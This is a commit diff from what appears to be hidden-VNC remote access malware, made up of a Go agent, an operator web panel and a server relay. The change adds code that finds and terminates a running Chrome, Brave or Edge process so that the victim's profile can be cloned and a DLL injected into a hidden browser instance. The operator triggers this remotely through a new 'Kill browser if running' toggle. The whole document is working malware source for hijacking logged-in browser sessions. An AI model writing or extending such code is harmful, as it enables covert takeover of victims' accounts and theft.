kill browser process
This commit is contained in:
@@ -14,6 +14,6 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
|||||||
|
|
||||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||||
|
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||||
return errors.New("HVNC injection not supported on this platform")
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -120,7 +120,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
|
|||||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||||
// If clone is false, it starts the browser with injection but no path redirection.
|
// If clone is false, it starts the browser with injection but no path redirection.
|
||||||
// browser should be one of: "chrome", "brave", "edge".
|
// browser should be one of: "chrome", "brave", "edge".
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||||
if !ok {
|
if !ok {
|
||||||
return fmt.Errorf("unknown browser %q", browser)
|
return fmt.Errorf("unknown browser %q", browser)
|
||||||
@@ -133,6 +133,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if killIfRunning && clone {
|
||||||
|
processName := info.exeName
|
||||||
|
if processName == "" {
|
||||||
|
processName = filepath.Base(exePath)
|
||||||
|
}
|
||||||
|
if isProcessRunning(processName) {
|
||||||
|
log.Printf("hvnc %s: killing running %s before cloning", info.name, processName)
|
||||||
|
killProcess(processName)
|
||||||
|
time.Sleep(1500 * time.Millisecond)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if !clone {
|
if !clone {
|
||||||
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
||||||
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
|
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
|
||||||
@@ -155,11 +167,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
|
|
||||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, nil)
|
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
type browserInfo struct {
|
type browserInfo struct {
|
||||||
name string
|
name string
|
||||||
|
exeName string
|
||||||
exePaths []string // candidate exe locations (env vars expanded at runtime)
|
exePaths []string // candidate exe locations (env vars expanded at runtime)
|
||||||
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
|
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
|
||||||
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
|
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
|
||||||
@@ -167,21 +180,24 @@ type browserInfo struct {
|
|||||||
|
|
||||||
var browserInfoMap = map[string]browserInfo{
|
var browserInfoMap = map[string]browserInfo{
|
||||||
"chrome": {
|
"chrome": {
|
||||||
name: "Chrome",
|
name: "Chrome",
|
||||||
|
exeName: "chrome.exe",
|
||||||
exePaths: []string{
|
exePaths: []string{
|
||||||
`\Google\Chrome\Application\chrome.exe`,
|
`\Google\Chrome\Application\chrome.exe`,
|
||||||
},
|
},
|
||||||
userData: `Google\Chrome\User Data`,
|
userData: `Google\Chrome\User Data`,
|
||||||
},
|
},
|
||||||
"brave": {
|
"brave": {
|
||||||
name: "Brave",
|
name: "Brave",
|
||||||
|
exeName: "brave.exe",
|
||||||
exePaths: []string{
|
exePaths: []string{
|
||||||
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||||
},
|
},
|
||||||
userData: `BraveSoftware\Brave-Browser\User Data`,
|
userData: `BraveSoftware\Brave-Browser\User Data`,
|
||||||
},
|
},
|
||||||
"edge": {
|
"edge": {
|
||||||
name: "Edge",
|
name: "Edge",
|
||||||
|
exeName: "msedge.exe",
|
||||||
exePaths: []string{
|
exePaths: []string{
|
||||||
`\Microsoft\Edge\Application\msedge.exe`,
|
`\Microsoft\Edge\Application\msedge.exe`,
|
||||||
},
|
},
|
||||||
@@ -209,6 +225,92 @@ func findBrowserExe(info browserInfo) string {
|
|||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func isProcessRunning(name string) bool {
|
||||||
|
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
|
||||||
|
if snapshot == uintptr(^uintptr(0)) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer procCloseHandle.Call(snapshot)
|
||||||
|
|
||||||
|
type processEntry32 struct {
|
||||||
|
Size uint32
|
||||||
|
CntUsage uint32
|
||||||
|
ProcessID uint32
|
||||||
|
DefaultHeapID uintptr
|
||||||
|
ModuleID uint32
|
||||||
|
CntThreads uint32
|
||||||
|
ParentProcessID uint32
|
||||||
|
PriClassBase int32
|
||||||
|
Flags uint32
|
||||||
|
ExeFile [260]uint16
|
||||||
|
}
|
||||||
|
|
||||||
|
var entry processEntry32
|
||||||
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||||
|
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
||||||
|
if ret == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
target := strings.ToLower(name)
|
||||||
|
for {
|
||||||
|
exeName := syscall.UTF16ToString(entry.ExeFile[:])
|
||||||
|
if strings.ToLower(exeName) == target {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||||
|
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
||||||
|
if ret == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func killProcess(name string) {
|
||||||
|
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
|
||||||
|
if snapshot == uintptr(^uintptr(0)) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer procCloseHandle.Call(snapshot)
|
||||||
|
|
||||||
|
type processEntry32 struct {
|
||||||
|
Size uint32
|
||||||
|
CntUsage uint32
|
||||||
|
ProcessID uint32
|
||||||
|
DefaultHeapID uintptr
|
||||||
|
ModuleID uint32
|
||||||
|
CntThreads uint32
|
||||||
|
ParentProcessID uint32
|
||||||
|
PriClassBase int32
|
||||||
|
Flags uint32
|
||||||
|
ExeFile [260]uint16
|
||||||
|
}
|
||||||
|
|
||||||
|
var entry processEntry32
|
||||||
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||||
|
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
||||||
|
if ret == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
target := strings.ToLower(name)
|
||||||
|
for {
|
||||||
|
exeName := syscall.UTF16ToString(entry.ExeFile[:])
|
||||||
|
if strings.ToLower(exeName) == target {
|
||||||
|
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
|
||||||
|
if hProc != 0 {
|
||||||
|
kernel32.NewProc("TerminateProcess").Call(hProc, 0)
|
||||||
|
procCloseHandle.Call(hProc)
|
||||||
|
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||||
|
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
||||||
|
if ret == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func getBrowserUserDataDir(info browserInfo) string {
|
func getBrowserUserDataDir(info browserInfo) string {
|
||||||
base := os.Getenv("LOCALAPPDATA")
|
base := os.Getenv("LOCALAPPDATA")
|
||||||
if info.useAppData {
|
if info.useAppData {
|
||||||
|
|||||||
@@ -1340,6 +1340,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
exePath := ""
|
exePath := ""
|
||||||
clone := true
|
clone := true
|
||||||
cloneLite := false
|
cloneLite := false
|
||||||
|
killIfRunning := true
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["browser"].(string); ok {
|
if v, ok := payload["browser"].(string); ok {
|
||||||
browser = v
|
browser = v
|
||||||
@@ -1353,6 +1354,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["cloneLite"].(bool); ok {
|
if v, ok := payload["cloneLite"].(bool); ok {
|
||||||
cloneLite = v
|
cloneLite = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["killIfRunning"].(bool); ok {
|
||||||
|
killIfRunning = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
dllBytes := extractDLLBytes(payload)
|
dllBytes := extractDLLBytes(payload)
|
||||||
if len(dllBytes) == 0 {
|
if len(dllBytes) == 0 {
|
||||||
@@ -1363,7 +1367,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
|
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||||
var onProgress capture.CloneProgressFunc
|
var onProgress capture.CloneProgressFunc
|
||||||
@@ -1379,7 +1383,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil {
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
|
||||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -801,15 +801,18 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
} else if (action === "start-chrome") {
|
} else if (action === "start-chrome") {
|
||||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite });
|
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
|
||||||
} else if (action === "start-brave") {
|
} else if (action === "start-brave") {
|
||||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite });
|
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
|
||||||
} else if (action === "start-edge") {
|
} else if (action === "start-edge") {
|
||||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite });
|
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
||||||
} else if (action === "start-custom") {
|
} else if (action === "start-custom") {
|
||||||
const exePath = prompt("Enter exe path (required)");
|
const exePath = prompt("Enter exe path (required)");
|
||||||
if (!exePath) {
|
if (!exePath) {
|
||||||
|
|||||||
@@ -171,6 +171,10 @@
|
|||||||
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||||
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
||||||
</label>
|
</label>
|
||||||
|
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||||
|
<input type="checkbox" id="hvncKillIfRunningToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||||
|
<span class="text-xs text-slate-300">Kill browser if running</span>
|
||||||
|
</label>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||||
|
|||||||
@@ -675,6 +675,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
clone: payload.clone !== false,
|
clone: payload.clone !== false,
|
||||||
cloneLite: payload.cloneLite === true,
|
cloneLite: payload.cloneLite === true,
|
||||||
|
killIfRunning: payload.killIfRunning !== false,
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
|
|||||||
Reference in New Issue
Block a user